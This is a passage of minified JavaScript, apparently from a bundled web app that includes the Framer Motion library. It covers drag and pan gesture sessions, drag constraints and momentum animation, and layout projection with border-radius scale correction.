U3=({current:e})=>e?e.ownerDocument.defaultView:null,AS=(e,t)=>Math.abs(e-t);function gU(e,t){const n=AS(e.x,t.x),s=AS(e.y,t.y);return Math.sqrt(n**2+s**2)}class I3{constructor(t,n,{transformPagePoint:s,contextWindow:i=window,dragSnapToOrigin:c=!1,distanceThreshold:u=3}={}){if(this.startEvent=null,this.lastMoveEvent=null,this.lastMoveEventInfo=null,this.handlers={},this.contextWindow=window,this.updatePoint=()=>{if(!(this.lastMoveEvent&&this.lastMoveEventInfo))return;const g=Vx(this.lastMoveEventInfo,this.history),y=this.startEvent!==null,w=gU(g.offset,{x:0,y:0})>=this.distanceThreshold;if(!y&&!w)return;const{point:S}=g,{timestamp:N}=$n;this.history.push({...S,timestamp:N});const{onStart:T,onMove:E}=this.handlers;y||(T&&T(this.lastMoveEvent,g),this.startEvent=this.lastMoveEvent),E&&E(this.lastMoveEvent,g)},this.handlePointerMove=(g,y)=>{this.lastMoveEvent=g,this.lastMoveEventInfo=zx(y,this.transformPagePoint),Xt.update(this.updatePoint,!0)},this.handlePointerUp=(g,y)=>{this.end();const{onEnd:w,onSessionEnd:S,resumeAnimation:N}=this.handlers;if(this.dragSnapToOrigin&&N&&N(),!(this.lastMoveEvent&&this.lastMoveEventInfo))return;const T=Vx(g.type==="pointercancel"?this.lastMoveEventInfo:zx(y,this.transformPagePoint),this.history);this.startEvent&&w&&w(g,T),S&&S(g,T)},!wy(t))return;this.dragSnapToOrigin=c,this.handlers=n,this.transformPagePoint=s,this.distanceThreshold=u,this.contextWindow=i||window;const d=$u(t),m=zx(d,this.transformPagePoint),{point:h}=m,{timestamp:p}=$n;this.history=[{...h,timestamp:p}];const{onSessionStart:x}=n;x&&x(t,Vx(m,this.history)),this.removeListeners=Iu(tu(this.contextWindow,"pointermove",this.handlePointerMove),tu(this.contextWindow,"pointerup",this.handlePointerUp),tu(this.contextWindow,"pointercancel",this.handlePointerUp))}updateHandlers(t){this.handlers=t}end(){this.removeListeners&&this.removeListeners(),hi(this.updatePoint)}}function zx(e,t){return t?{point:t(e.point)}:e}function TS(e,t){return{x:e.x-t.x,y:e.y-t.y}}function Vx({point:e},t){return{point:e,delta:TS(e,H3(t)),offset:TS(e,vU(t)),velocity:yU(t,.1)}}function vU(e){return e[0]}function H3(e){return e[e.length-1]}function yU(e,t){if(e.length<2)return{x:0,y:0};let n=e.length-1,s=null;const i=H3(e);for(;n>=0&&(s=e[n],!(i.timestamp-s.timestamp>Us(t)));)n--;if(!s)return{x:0,y:0};const c=ns(i.timestamp-s.timestamp);if(c===0)return{x:0,y:0};const u={x:(i.x-s.x)/c,y:(i.y-s.y)/c};return u.x===1/0&&(u.x=0),u.y===1/0&&(u.y=0),u}function bU(e,{min:t,max:n},s){return t!==void 0&&e<t?e=s?tn(t,e,s.min):Math.max(e,t):n!==void 0&&e>n&&(e=s?tn(n,e,s.max):Math.min(e,n)),e}function DS(e,t,n){return{min:t!==void 0?e.min+t:void 0,max:n!==void 0?e.max+n-(e.max-e.min):void 0}}function wU(e,{top:t,left:n,bottom:s,right:i}){return{x:DS(e.x,n,i),y:DS(e.y,t,s)}}function RS(e,t){let n=t.min-e.min,s=t.max-e.max;return t.max-t.min<e.max-e.min&&([n,s]=[s,n]),{min:n,max:s}}function CU(e,t){return{x:RS(e.x,t.x),y:RS(e.y,t.y)}}function SU(e,t){let n=.5;const s=oa(e),i=oa(t);return i>s?n=xu(t.min,t.max-s,e.min):s>i&&(n=xu(e.min,e.max-i,t.min)),Er(0,1,n)}function NU(e,t){const n={};return t.min!==void 0&&(n.min=t.min-e.min),t.max!==void 0&&(n.max=t.max-e.min),n}const Wg=.35;function EU(e=Wg){return e===!1?e=0:e===!0&&(e=Wg),{x:_S(e,"left","right"),y:_S(e,"top","bottom")}}function _S(e,t,n){return{min:kS(e,t),max:kS(e,n)}}function kS(e,t){return typeof e=="number"?e:e[t]||0}const jU=new WeakMap;class AU{constructor(t){this.openDragLock=null,this.isDragging=!1,this.currentDirection=null,this.originPoint={x:0,y:0},this.constraints=!1,this.hasMutatedConstraints=!1,this.elastic=mn(),this.latestPointerEvent=null,this.latestPanInfo=null,this.visualElement=t}start(t,{snapToCursor:n=!1,distanceThreshold:s}={}){const{presenceContext:i}=this.visualElement;if(i&&i.isPresent===!1)return;const c=x=>{const{dragSnapToOrigin:g}=this.getProps();g?this.pauseAnimation():this.stopAnimation(),n&&this.snapToCursor($u(x).point)},u=(x,g)=>{const{drag:y,dragPropagation:w,onDragStart:S}=this.getProps();if(y&&!w&&(this.openDragLock&&this.openDragLock(),this.openDragLock=kz(y),!this.openDragLock))return;this.latestPointerEvent=x,this.latestPanInfo=g,this.isDragging=!0,this.currentDirection=null,this.resolveConstraints(),this.visualElement.projection&&(this.visualElement.projection.isAnimationBlocked=!0,this.visualElement.projection.target=void 0),es(T=>{let E=this.getAxisMotionValue(T).get()||0;if(Is.test(E)){const{projection:A}=this.visualElement;if(A&&A.layout){const j=A.layout.layoutBox[T];j&&(E=oa(j)*(parseFloat(E)/100))}}this.originPoint[T]=E}),S&&Xt.postRender(()=>S(x,g)),Kg(this.visualElement,"transform");const{animationState:N}=this.visualElement;N&&N.setActive("whileDrag",!0)},d=(x,g)=>{this.latestPointerEvent=x,this.latestPanInfo=g;const{dragPropagation:y,dragDirectionLock:w,onDirectionLock:S,onDrag:N}=this.getProps();if(!y&&!this.openDragLock)return;const{offset:T}=g;if(w&&this.currentDirection===null){this.currentDirection=TU(T),this.currentDirection!==null&&S&&S(this.currentDirection);return}this.updateAxis("x",g.point,T),this.updateAxis("y",g.point,T),this.visualElement.render(),N&&N(x,g)},m=(x,g)=>{this.latestPointerEvent=x,this.latestPanInfo=g,this.stop(x,g),this.latestPointerEvent=null,this.latestPanInfo=null},h=()=>es(x=>this.getAnimationState(x)==="paused"&&this.getAxisMotionValue(x).animation?.play()),{dragSnapToOrigin:p}=this.getProps();this.panSession=new I3(t,{onSessionStart:c,onStart:u,onMove:d,onSessionEnd:m,resumeAnimation:h},{transformPagePoint:this.visualElement.getTransformPagePoint(),dragSnapToOrigin:p,distanceThreshold:s,contextWindow:U3(this.visualElement)})}stop(t,n){const s=t||this.latestPointerEvent,i=n||this.latestPanInfo,c=this.isDragging;if(this.cancel(),!c||!i||!s)return;const{velocity:u}=i;this.startAnimation(u);const{onDragEnd:d}=this.getProps();d&&Xt.postRender(()=>d(s,i))}cancel(){this.isDragging=!1;const{projection:t,animationState:n}=this.visualElement;t&&(t.isAnimationBlocked=!1),this.panSession&&this.panSession.end(),this.panSession=void 0;const{dragPropagation:s}=this.getProps();!s&&this.openDragLock&&(this.openDragLock(),this.openDragLock=null),n&&n.setActive("whileDrag",!1)}updateAxis(t,n,s){const{drag:i}=this.getProps();if(!s||!_f(t,i,this.currentDirection))return;const c=this.getAxisMotionValue(t);let u=this.originPoint[t]+s[t];this.constraints&&this.constraints[t]&&(u=bU(u,this.constraints[t],this.elastic[t])),c.set(u)}resolveConstraints(){const{dragConstraints:t,dragElastic:n}=this.getProps(),s=this.visualElement.projection&&!this.visualElement.projection.layout?this.visualElement.projection.measure(!1):this.visualElement.projection?.layout,i=this.constraints;t&&hl(t)?this.constraints||(this.constraints=this.resolveRefConstraints()):t&&s?this.constraints=wU(s.layoutBox,t):this.constraints=!1,this.elastic=EU(n),i!==this.constraints&&s&&this.constraints&&!this.hasMutatedConstraints&&es(c=>{this.constraints!==!1&&this.getAxisMotionValue(c)&&(this.constraints[c]=NU(s.layoutBox[c],this.constraints[c]))})}resolveRefConstraints(){const{dragConstraints:t,onMeasureDragConstraints:n}=this.getProps();if(!t||!hl(t))return!1;const s=t.current,{projection:i}=this.visualElement;if(!i||!i.layout)return!1;const c=DV(s,i.root,this.visualElement.getTransformPagePoint());let u=CU(i.layout.layoutBox,c);if(n){const d=n(jV(u));this.hasMutatedConstraints=!!d,d&&(u=j3(d))}return u}startAnimation(t){const{drag:n,dragMomentum:s,dragElastic:i,dragTransition:c,dragSnapToOrigin:u,onDragTransitionEnd:d}=this.getProps(),m=this.constraints||{},h=es(p=>{if(!_f(p,n,this.currentDirection))return;let x=m&&m[p]||{};u&&(x={min:0,max:0});const g=i?200:1e6,y=i?40:1e7,w={type:"inertia",velocity:s?t[p]:0,bounceStiffness:g,bounceDamping:y,timeConstant:750,restDelta:1,restSpeed:10,...c,...x};return this.startAxisValueAnimation(p,w)});return Promise.all(h).then(d)}startAxisValueAnimation(t,n){const s=this.getAxisMotionValue(t);return Kg(this.visualElement,t),s.start(_y(t,s,0,n,this.visualElement,!1))}stopAnimation(){es(t=>this.getAxisMotionValue(t).stop())}pauseAnimation(){es(t=>this.getAxisMotionValue(t).animation?.pause())}getAnimationState(t){return this.getAxisMotionValue(t).animation?.state}getAxisMotionValue(t){const n=`_drag${t.toUpperCase()}`,s=this.visualElement.getProps(),i=s[n];return i||this.visualElement.getValue(t,(s.initial?s.initial[t]:void 0)||0)}snapToCursor(t){es(n=>{const{drag:s}=this.getProps();if(!_f(n,s,this.currentDirection))return;const{projection:i}=this.visualElement,c=this.getAxisMotionValue(n);if(i&&i.layout){const{min:u,max:d}=i.layout.layoutBox[n];c.set(t[n]-tn(u,d,.5))}})}scalePositionWithinConstraints(){if(!this.visualElement.current)return;const{drag:t,dragConstraints:n}=this.getProps(),{projection:s}=this.visualElement;if(!hl(n)||!s||!this.constraints)return;this.stopAnimation();const i={x:0,y:0};es(u=>{const d=this.getAxisMotionValue(u);if(d&&this.constraints!==!1){const m=d.get();i[u]=SU({min:m,max:m},this.constraints[u])}});const{transformTemplate:c}=this.visualElement.getProps();this.visualElement.current.style.transform=c?c({},""):"none",s.root&&s.root.updateScroll(),s.updateLayout(),this.resolveConstraints(),es(u=>{if(!_f(u,t,null))return;const d=this.getAxisMotionValue(u),{min:m,max:h}=this.constraints[u];d.set(tn(m,h,i[u]))})}addListeners(){if(!this.visualElement.current)return;jU.set(this.visualElement,this);const t=this.visualElement.current,n=tu(t,"pointerdown",m=>{const{drag:h,dragListener:p=!0}=this.getProps();h&&p&&this.start(m)}),s=()=>{const{dragConstraints:m}=this.getProps();hl(m)&&m.current&&(this.constraints=this.resolveRefConstraints())},{projection:i}=this.visualElement,c=i.addEventListener("measure",s);i&&!i.layout&&(i.root&&i.root.updateScroll(),i.updateLayout()),Xt.read(s);const u=wu(window,"resize",()=>this.scalePositionWithinConstraints()),d=i.addEventListener("didUpdate",(({delta:m,hasLayoutChanged:h})=>{this.isDragging&&h&&(es(p=>{const x=this.getAxisMotionValue(p);x&&(this.originPoint[p]+=m[p].translate,x.set(x.get()+m[p].translate))}),this.visualElement.render())}));return()=>{u(),n(),c(),d&&d()}}getProps(){const t=this.visualElement.getProps(),{drag:n=!1,dragDirectionLock:s=!1,dragPropagation:i=!1,dragConstraints:c=!1,dragElastic:u=Wg,dragMomentum:d=!0}=t;return{...t,drag:n,dragDirectionLock:s,dragPropagation:i,dragConstraints:c,dragElastic:u,dragMomentum:d}}}function _f(e,t,n){return(t===!0||t===e)&&(n===null||n===e)}function TU(e,t=10){let n=null;return Math.abs(e.y)>t?n="y":Math.abs(e.x)>t&&(n="x"),n}class DU extends wi{constructor(t){super(t),this.removeGroupControls=as,this.removeListeners=as,this.controls=new AU(t)}mount(){const{dragControls:t}=this.node.getProps();t&&(this.removeGroupControls=t.subscribe(this.controls)),this.removeListeners=this.controls.addListeners()||as}unmount(){this.removeGroupControls(),this.removeListeners()}}const BS=e=>(t,n)=>{e&&Xt.postRender(()=>e(t,n))};class RU extends wi{constructor(){super(...arguments),this.removePointerDownListener=as}onPointerDown(t){this.session=new I3(t,this.createPanHandlers(),{transformPagePoint:this.node.getTransformPagePoint(),contextWindow:U3(this.node)})}createPanHandlers(){const{onPanSessionStart:t,onPanStart:n,onPan:s,onPanEnd:i}=this.node.getProps();return{onSessionStart:BS(t),onStart:BS(n),onMove:s,onEnd:(c,u)=>{delete this.session,i&&Xt.postRender(()=>i(c,u))}}}mount(){this.removePointerDownListener=tu(this.node.current,"pointerdown",t=>this.onPointerDown(t))}update(){this.session&&this.session.updateHandlers(this.createPanHandlers())}unmount(){this.removePointerDownListener(),this.session&&this.session.end()}}const B0={hasAnimatedSinceResize:!0,hasEverUpdated:!1};function MS(e,t){return t.max===t.min?0:e/(t.max-t.min)*100}const Hc={correct:(e,t)=>{if(!t.target)return e;if(typeof e=="string")if(et.test(e))e=parseFloat(e);else return e;const n=MS(e,t.target.x),s=MS(e,t.target.y);return`${n}% ${s}%`}},_U={correct:(e,{treeScale:t,projectionDelta:n})=>{const s=e,i=mi.parse(e);if(i.length>5)return s;const c=mi.createTransformer(e),u=typeof i[0]!="number"?1:0,d=n.x.scale*t.x,m=n.y.scale*t.y;i[0+u]/=d,i[1+u]/=m;const h=tn(d,m,.5);return typeof i[2+u]=="number"&&(i[2+u]/=h),typeof i[3+u]=="number"&&(i[3+u]/=h),c(i)}};let Ux=!1;class kU extends C.Component{componentDidMount(){const{visualElement:t,layoutGroup:n,switchLayoutGroup:s,layoutId:i}=this.props,{projection:c}=t;eV(BU),c&&(n.group&&n.group.add(c),s&&s.register&&i&&s.register(c),Ux&&c.root.didUpdate(),c.addEventListener("animationComplete",()=>{this.safeToRemove()}),c.setOptions({...c.options,onExitComplete:()=>this.safeToRemove()})),B0.hasEverUpdated=!0}getSnapshotBeforeUpdate(t){const{layoutDependency:n,visualElement:s,drag:i,isPresent:c}=this.props,{projection:u}=s;return u&&(u.isPresent=c,Ux=!0,i||t.layoutDependency!==n||n===void 0||t.isPresent!==c?u.willUpdate():this.safeToRemove(),t.isPresent!==c&&(c?u.promote():u.relegate()||Xt.postRender(()=>{const d=u.getStack();(!d||!d.members.length)&&this.safeToRemove()}))),null}componentDidUpdate(){const{projection:t}=this.props.visualElement;t&&(t.root.didUpdate(),by.postRender(()=>{!t.currentAnimation&&t.isLead()&&this.safeToRemove()}))}componentWillUnmount(){const{visualElement:t,layoutGroup:n,switchLayoutGroup:s}=this.props,{projection:i}=t;Ux=!0,i&&(i.scheduleCheckAfterUnmount(),n&&n.group&&n.group.remove(i),s&&s.deregister&&s.deregister(i))}safeToRemove(){const{safeToRemove:t}=this.props;t&&t()}render(){return null}}function q3(e){const[t,n]=f3(),s=C.useContext(Zv);return o.jsx(kU,{...e,layoutGroup:s,switchLayoutGroup:C.useContext(N3),isPresent:t,safeToRemove:n})}const BU={borderRadius:{...Hc,applyTo:["borderTopLeftRadius","borderTopRightRadius","borderBottomLeftRadius","borderBottomRightRadius"]},borderTopLeftRadius:Hc,borderTopRightRadius:Hc,borderBottomLeftRadius:Hc,borderBottomRightRadius:Hc,boxShadow:_U};function MU(e,t,n){const s=Jn(e)?e:_l(e);return s.start(_y("",s,t,n)),s.animation}const FU=(e,t)=>e.depth-t.depth;class OU{constructor(){this.children=[],this.isDirty=!1}add(t){ty(this.children,t),this.isDirty=!0}remove(t){ny(this.children,t),this.isDirty=!0}forEach(t){this.isDirty&&this.children.sort(FU),this.isDirty=!1,this.children.forEach(t)}}function LU(e,t){const n=ya.now(),s=({timestamp:i})=>{const c=i-n;c>=t&&(hi(s),e(c-t))};return Xt.setup(s,!0),()=>hi(s)}const $3=["TopLeft","TopRight","BottomLeft","BottomRight"],PU=$3.length,FS=e=>typeof e=="string"?parseFloat(e):e,OS=e=>typeof e=="number"||et.test(e);function zU(e,t,n,s,i,c){i?(e.opacity=tn(0,n.opacity??1,VU(s)),e.opacityExit=tn(t.opacity??1,0,UU(s))):c&&(e.opacity=tn(t.opacity??1,n.opacity??1,s));for(let u=0;u<PU;u++){const d=`border${$3[u]}Radius`;let m=LS(t,d),h=LS(n,d);if(m===void 0&&h===void 0)continue;m||(m=0),h||(h=0),m===0||h===0||OS(m)===OS(h)?(e[d]=Math.max(tn(FS(m),FS(h),s),0),(Is.test(h)||Is.test(m))&&(e[d]+="%")):e[d]=h}(t.rotate||n.rotate)&&(e.rotate=tn(t.rotate||0,n.rotate||0,s))}function LS(e,t){return e[t]!==void 0?e[t]:e.borderRadius}const VU=G3(0,.5,kA),UU=G3(.5,.95,as);function G3(e,t,n){return s=>s<e?0:s>t?1:n(xu(e,t,s))}function PS(e,t){e.min=t.min,e.max=t.max}function Ja(e,t){PS(e.x,t.x),PS(e.y,t.y)}function zS(e,t){e.translate=t.translate,e.scale=t.scale,e.originPoint=t.originPoint,e.origin=t.origin}function VS(e,t,n,s,i){return e-=t,e=Z0(e,1/n,s),i!==void 0&&(e=Z0(e,1/i,s)),e}function IU(e,t=0,n=1,s=.5,i,c=e,u=e){if(Is.test(t)&&(t=parseFloat(t),t=tn(u.min,u.max,t/100)-u.min),typeof t!="number")return;let d=tn(c.min,c.max,s);e===c&&(d-=t),e.min=VS(e.min,t,n,d,i),e.max=VS(e.max,t,n,d,i)}function US(e,t,[n,s,i],c,u){IU(e,t[n],t[s],t[i],t.scale,c,u)}const HU=["x","scaleX","originX"],qU=["y","scaleY","originY"];function IS(e,t,n,s){US(e.x,t,HU,n?n.x:void 0,s?s.x:void 0),US(e.y,t,qU,n?n.y:void 0,s?s.y:void 0)}function HS(e){return e.translate===0&&e.scale===1}function Y3(e){return HS(e.x)&&HS(e.y)}function qS(e,t){return e.min===t.min&&e.max===t.max}function $U(e,t){return qS(e.x,t.x)&&qS(e.y,t.y)}function $S(e,t){return Math.round(e.min)===Math.round(t.min)&&Math.round(e.max)===Math.round(t.max)}function K3(e,t){return $S(e.x,t.x)&&$S(e.y,t.y)}function GS(e){return oa(e.x)/oa(e.y)}function YS(e,t){return e.translate===t.translate&&e.scale===t.scale&&e.originPoint===t.originPoint}class GU{constructor(){this.members=[]}add(t){ty(this.members,t),t.scheduleRender()}remove(t){if(ny(this.members,t),t===this.prevLead&&(this.prevLead=void 0),t===this.lead){const n=this.members[this.members.length-1];n&&this.promote(n)}}relegate(t){const n=this.members.findIndex(i=>t===i);if(n===0)return!1;let s;for(let i=n;i>=0;i--){const c=this.members[i];if(c.isPresent!==!1){s=c;break}}return s?(this.promote(s),!0):!1}promote(t,n){const s=this.lead;if(t!==s&&(this.prevLead=s,this.lead=t,t.show(),s)){s.instance&&s.scheduleRender(),t.scheduleRender(),t.resumeFrom=s,n&&(t.resumeFrom.preserveOpacity=!0),s.snapshot&&(t.snapshot=s.snapshot,t.snapshot.latestValues=s.animationValues||s.latestValues),t.root&&t.root.isUpdating&&(t.isLayoutDirty=!0);const{crossfade:i}=t.options;i===!1&&s.hide()}}exitAnimationComplete(){this.members.forEach(t=>{const{options:n,resumingFrom:s}=t;n.onExitComplete&&n.onExitComplete(),s&&s.options.onExitComplete&&s.options.onExitComplete()})}scheduleRender(){this.members.forEach(t=>{t.instance&&t.scheduleRender(!1)})}removeLeadSnapshot(){this.lead&&this.lead.snapshot&&(this.lead.snapshot=void 0)}}function YU(e,t,n){let s="";const i=e.x.translate/t.x,c=e.y.translate/t.y,u=n?.z||0;if((i||c||u)&&(s=`translate3d(${i}px, ${c}px, ${u}px) `),(t.x!==1||t.y!==1)&&(s+=`scale(${1/t.x}, ${1/t.y}) `),n){const{transformPerspective:h,rotate:p,rotateX:x,rotateY:g,skewX:y,skewY:w}=n;h&&(s=`perspective(${h}px) ${s}`),p&&(s+=`rotate(${p}deg) `),x&&(s+=`rotateX(${x}deg) `),g&&(s+=`rotateY(${g}deg) `),y&&(s+=`skewX(${y}deg) `),w&&(s+=`skewY(${w}deg) `)}const d=e.x.scale*t.x,m=e.y.scale*t.y;return(d!==1||m!==1)&&(s+=`scale(${d}, ${m})`),s||"none"}const Ix=["","X","Y","Z"],KU=1e3;let XU=0;function Hx(e,t,n,s){const{latestValues:i}=t;i[e]&&(n[e]=i[e],t.setStaticValue(e,0),s&&(s[e]=0))}function X3(e){if(e.hasCheckedOptimisedAppear=!0,e.root===e)return;const{visualElement:t}=e.options;if(!t)return;const n=M3(t);if(window.MotionHasOptimisedAnimation(n,"transform")){const{layout:i,layoutId:c}=e.options;window.MotionCancelOptimisedAnimation(n,"transform",Xt,!(i||c))}const{parent:s}=e;s&&!s.hasCheckedOptimisedAppear&&X3(s)}function W3({attachResizeListener:e,defaultParent:t,measureScroll:n,checkIsScrollRoot:s,resetTransform:i}){return class{constructor(u={},d=t?.()){this.id=XU++,this.animationId=0,this.animationCommitId=0,this.children=new Set,this.options={},this.isTreeAnimating=!1,this.isAnimationBlocked=!1,this.isLayoutDirty=!1,this.isProjectionDirty=!1,this.isSharedProjectionDirty=!1,this.isTransformDirty=!1,this.updateManuallyBlocked=!1,this.updateBlockedByResize=!1,this.isUpdating=!1,this.isSVG=!1,this.needsReset=!1,this.shouldResetTransform=!1,this.hasCheckedOptimisedAppear=!1,this.treeScale={x:1,y:1},this.eventHandlers=new Map,this.hasTreeAnimated=!1,this.updateScheduled=!1,this.scheduleUpdate=()=>this.update(),this.projectionUpdateScheduled=!1,this.checkUpdateFailed=()=>{this.isUpdating&&(this.isUpdating=!1,this.clearAllSnapshots())},this.updateProjection=()=>{this.projectionUpdateScheduled=!1,this.nodes.forEach(ZU),this.nodes.forEach(nI),this.nodes.forEach(aI),this.nodes.forEach(JU)},this.resolvedRelativeTargetAt=0,this.hasProjected=!1,this.isVisible=!0,this.animationProgress=0,this.sharedNodes=new Map,this.latestValues=u,this.root=d?d.root||d:this,this.path=d?[...d.path,d]:[],this.parent=d,this.depth=d?d.depth+1:0;for(let m=0;m<this.path.length;m++)this.path[m].shouldResetTransform=!0;this.root===this&&(this.nodes=new OU)}addEventListener(u,d){return this.eventHandlers.has(u)||this.eventHandlers.set(u,new ry),this.eventHandlers.get(u).add(d)}notifyListeners(u,...d){const m=this.eventHandlers.get(u);m&&m.notify(...d)}hasListeners(u){return this.eventHandlers.has(u)}mount(u){if(this.instance)return;this.isSVG=d3(u)&&!Pz(u),this.instance=u;const{layoutId:d,layout:m,visualElement:h}=this.options;if(h&&!h.current&&h.mount(u),this.root.nodes.add(this),this.parent&&this.parent.children.add(this),this.root.hasTreeAnimated&&(m||d)&&(this.isLayoutDirty=!0),e){let p,x=0;const g=()=>this.root.updateBlockedByResize=!1;Xt.read(()=>{x=window.innerWidth}),e(u,()=>{const y=window.innerWidth;y!==x&&(x=y,this.root.updateBlockedByResize=!0,p&&p(),p=LU(g,250),B0.hasAnimatedSinceResize&&(B0.hasAnimatedSinceResize=!1,this.nodes.forEach(WS)))})}d&&this.root.registerSharedNode(d,this),this.options.animate!==!1&&h&&(d||m)&&this.addEventListener("didUpdate",({delta:p,hasLayoutChanged:x,hasRelativeLayoutChanged:g,layout:y})=>{if(this.isTreeAnimationBlocked()){this.target=void 0,this.relativeTarget=void 0;return}const w=this.options.transition||h.getDefaultTransition()||lI,{onLayoutAnimationStart:S,onLayoutAnimationComplete:N}=h.getProps(),T=!this.targetLayout||!K3(this.targetLayout,y),E=!x&&g;if(this.options.layoutRoot||this.resumeFrom||E||x&&(T||!this.currentAnimation)){this.resumeFrom&&(this.resumingFrom=this.resumeFrom,this.resumingFrom.resumingFrom=void 0);const A={...vy(w,"layout"),onPlay:S,onComplete:N};(h.shouldReduceMotion||this.options.layoutRoot)&&(A.delay=0,A.type=!1),this.startAnimation(A),this.setAnimationOrigin(p,E)}else x||WS(this),this.isLead()&&this.options.onExitComplete&&this.options.onExitComplete();this.targetLayout=y})}unmount(){this.options.layoutId&&this.willUpdate(),this.root.nodes.remove(this);const u=this.getStack();u&&u.remove(this),this.parent&&this.parent.children.delete(this),this.instance=void 0,this.eventHandlers.clear(),hi(this.updateProjection)}blockUpdate(){this.updateManuallyBlocked=!0}unblockUpdate(){this.updateManuallyBlocked=!1}isUpdateBlocked(){return this.updateManuallyBlocked||this.updateBlockedByResize}isTreeAnimationBlocked(){return this.isAnimationBlocked||this.parent&&this.parent.isTreeAnimationBlocked()||!1}startUpdate(){this.isUpdateBlocked()||(this.isUpdating=!0,this.nodes&&this.nodes.forEach(sI),this.animationId++)}getTransformTemplate(){const{visualElement:u}=this.options;return u&&u.getProps().transformTemplate}willUpdate(u=!0){if(this.root.hasTreeAnimated=!0,this.root.isUpdateBlocked()){this.options.onExitComplete&&this.options.onExitComplete();return}if(window.MotionCancelOptimisedAnimation&&!this.hasCheckedOptimisedAppear&&X3(this),!this.root.isUpdating&&this.root.startUpdate(),this.isLayoutDirty)return;this.isLayoutDirty=!0;for(let p=0;p<this.path.length;p++){const x=this.path[p];x.shouldResetTransform=!0,x.updateScroll("snapshot"),x.options.layoutRoot&&x.willUpdate(!1)}const{layoutId:d,layout:m}=this.options;if(d===void 0&&!m)return;const h=this.getTransformTemplate();this.prevTransformTemplateValue=h?h(this.latestValues,""):void 0,this.updateSnapshot(),u&&this.notifyListeners("willUpdate")}update(){if(this.updateScheduled=!1,this.isUpdateBlocked()){this.unblockUpdate(),this.clearAllSnapshots(),this.nodes.forEach(KS);return}if(this.animationId<=this.animationCommitId){this.nodes.forEach(XS);return}this.animationCommitId=this.animationId,this.isUpdating?(this.isUpdating=!1,this.nodes.forEach(tI),this.nodes.forEach(WU),this.nodes.forEach(QU)):this.nodes.forEach(XS),this.clearAllSnapshots();const d=ya.now();$n.delta=Er(0,1e3/60,d-$n.timestamp),$n.timestamp=d,$n.isProcessing=!0,_x.update.process($n),_x.preRender.process($n),_x.render.process($n),$n.isProcessing=!1}didUpdate(){this.updateScheduled||(this.updateScheduled=!0,by.read(this.scheduleUpdate))}clearAllSnapshots(){this.nodes.forEach(eI),this.sharedNodes.forEach(rI)}scheduleUpdateProjection(){this.projectionUpdateScheduled||(this.projectionUpdateScheduled=!0,Xt.preRender(this.updateProjection,!1,!0))}scheduleCheckAfterUnmount(){Xt.postRender(()=>{this.isLayoutDirty?this.root.didUpdate():this.root.checkUpdateFailed()})}updateSnapshot(){this.snapshot||!this.instance||(this.snapshot=this.measure(),this.snapshot&&!oa(this.snapshot.measuredBox.x)&&!oa(this.snapshot.measuredBox.y)&&(this.snapshot=void 0))}updateLayout(){if(!this.instance||(this.updateScroll(),!(this.options.alwaysMeasureLayout&&this.isLead())&&!this.isLayoutDirty))return;if(this.resumeFrom&&!this.resumeFrom.instance)for(let m=0;m<this.path.length;m++)this.path[m].updateScroll();const u=this.layout;this.layout=this.measure(!1),this.layoutCorrected=mn(),this.isLayoutDirty=!1,this.projectionDelta=void 0,this.notifyListeners("measure",this.layout.layoutBox);const{visualElement:d}=this.options;d&&d.notify("LayoutMeasure",this.layout.layoutBox,u?u.layoutBox:void 0)}updateScroll(u="measure"){let d=!!(this.options.layoutScroll&&this.instance);if(this.scroll&&this.scroll.animationId===this.root.animationId&&this.scroll.phase===u&&(d=!1),d&&this.instance){const m=s(this.instance);this.scroll={animationId:this.root.animationId,phase:u,isRoot:m,offset:n(this.instance),wasRoot:this.scroll?this.scroll.isRoot:m}}}resetTransform(){if(!i)return;const u=this.isLayoutDirty||this.shouldResetTransform||this.options.alwaysMeasureLayout,d=this.projectionDelta&&!Y3(this.projectionDelta),m=this.getTransformTemplate(),h=m?m(this.latestValues,""):void 0,p=h!==this.prevTransformTemplateValue;u&&this.instance&&(d||qi(this.latestValues)||p)&&(i(this.instance,h),this.shouldResetTransform=!1,this.scheduleRender())}measure(u=!0){const d=this.measurePageBox();let m=this.removeElementScroll(d);return u&&(m=this.removeTransform(m)),cI(m),{animationId:this.root.animationId,measuredBox:d,layoutBox:m,latestValues:{},source:this.id}}measurePageBox(){const{visualElement:u}=this.options;if(!u)return mn();const d=u.measureViewportBox();if(!(this.scroll?.wasRoot||this.path.some(uI))){const{scroll:h}=this.root;h&&(ml(d.x,h.offset.x),ml(d.y,h.offset.y))}return d}removeElementScroll(u){const d=mn();if(Ja(d,u),this.scroll?.wasRoot)return d;for(let m=0;m<this.path.length;m++){const h=this.path[m],{scroll:p,options:x}=h;h!==this.root&&p&&x.layoutScroll&&(p.wasRoot&&Ja(d,u),ml(d.x,p.offset.x),ml(d.y,p.offset.y))}return d}applyTransform(u,d=!1){const m=mn();Ja(m,u);for(let h=0;h<this.path.length;h++){const p=this.path[h];!d&&p.options.layoutScroll&&p.scroll&&p!==p.root&&pl(m,{x:-p.scroll.offset.x,y:-p.scroll.offset.y}),qi(p.latestValues)&&pl(m,p.latestValues)}return qi(this.latestValues)&&pl(m,this.latestValues),m}removeTransform(u){const d=mn();Ja(d,u);for(let m=0;m<this.path.length;m++){const h=this.path[m];if(!h.instance||!qi(h.latestValues))continue;qg(h.latestValues)&&h.updateSnapshot();const p=mn(),x=h.measurePageBox();Ja(p,x),IS(d,h.latestValues,h.snapshot?h.snapshot.layoutBox:void 0,p)}return qi(this.latestValues)&&IS(d,this.latestValues),d}setTargetDelta(u){this.targetDelta=u,this.root.scheduleUpdateProjection(),this.isProjectionDirty=!0}setOptions(u){this.options={...this.options,...u,crossfade:u.crossfade!==void 0?u.crossfade:!0}}clearMeasurements(){this.scroll=void 0,this.layout=void 0,this.snapshot=void 0,this.prevTransformTemplateValue=void 0,this.targetDelta=void 0,this.target=void 0,this.isLayoutDirty=!1}forceRelativeParentToResolveTarget(){this.relativeParent&&this.relativeParent.resolvedRelativeTargetAt!==$n.timestamp&&this.relativeParent.resolveTargetDelta(!0)}resolveTargetDelta(u=!1){const d=this.getLead();this.isProjectionDirty||(this.isProjectionDirty=d.isProjectionDirty),this.isTransformDirty||(this.isTransformDirty=d.isTransformDirty),this.isSharedProjectionDirty||(this.isSharedProjectionDirty=d.isSharedProjectionDirty);const m=!!this.resumingFrom||this!==d;if(!(u||m&&this.isSharedProjectionDirty||this.isProjectionDirty||this.parent?.isProjectionDirty||this.attemptToResolveRelativeTarget||this.root.updateBlockedByResize))return;const{layout:p,layoutId:x}=this.options;if(!(!this.layout||!(p||x))){if(this.resolvedRelativeTargetAt=$n.timestamp,!this.targetDelta&&!this.relativeTarget){const 